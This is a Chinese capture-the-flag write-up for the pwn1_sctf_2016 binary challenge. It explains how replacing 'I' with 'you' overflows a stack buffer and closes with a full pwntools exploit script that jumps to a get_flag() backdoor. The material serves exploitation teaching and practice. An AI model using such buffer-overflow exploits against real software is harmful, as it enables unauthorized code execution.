pwn1_sctf_2016
使用checksec查看:

只开启了栈不可执行。
放进IDA中分析:

- 直接给了
vuln()函数,跟进查看。
vuln():

fgets(&s, 32, edata);:用户可输入32个字符replace(&v4, &input, &v7);:将字符串I替换成字符串youstrcpy(&s, v1);:最后字符串赋给变量s
通过查找字符串还能找到get_flag()后门函数:

步骤解析
s距离ebp0x3C,不能造成栈溢出,但当I转成you时就够了。直接跳转到后门函数即可。
完整exp
from pwn import *
#start
# r = remote("node4.buuoj.cn",25038)
r = process("../buu/pwn1_sctf_2016")
elf = ELF("../buu/pwn1_sctf_2016")
#params
backdoor = elf.symbols['get_flag']
#atack
payload = b'I'*20 + b'M'*4 + p32(0x8048F0D)
r.sendline(payload)
r.interactive()
本文档详细介绍了如何分析一个开启了栈不可执行保护的程序,通过跟踪函数发现并利用vuln()函数中的漏洞,将'I'替换为'you',触发字符串赋值,最终构造payload跳转至get_flag()后门函数,获取权限。

被折叠的 条评论
为什么被折叠?



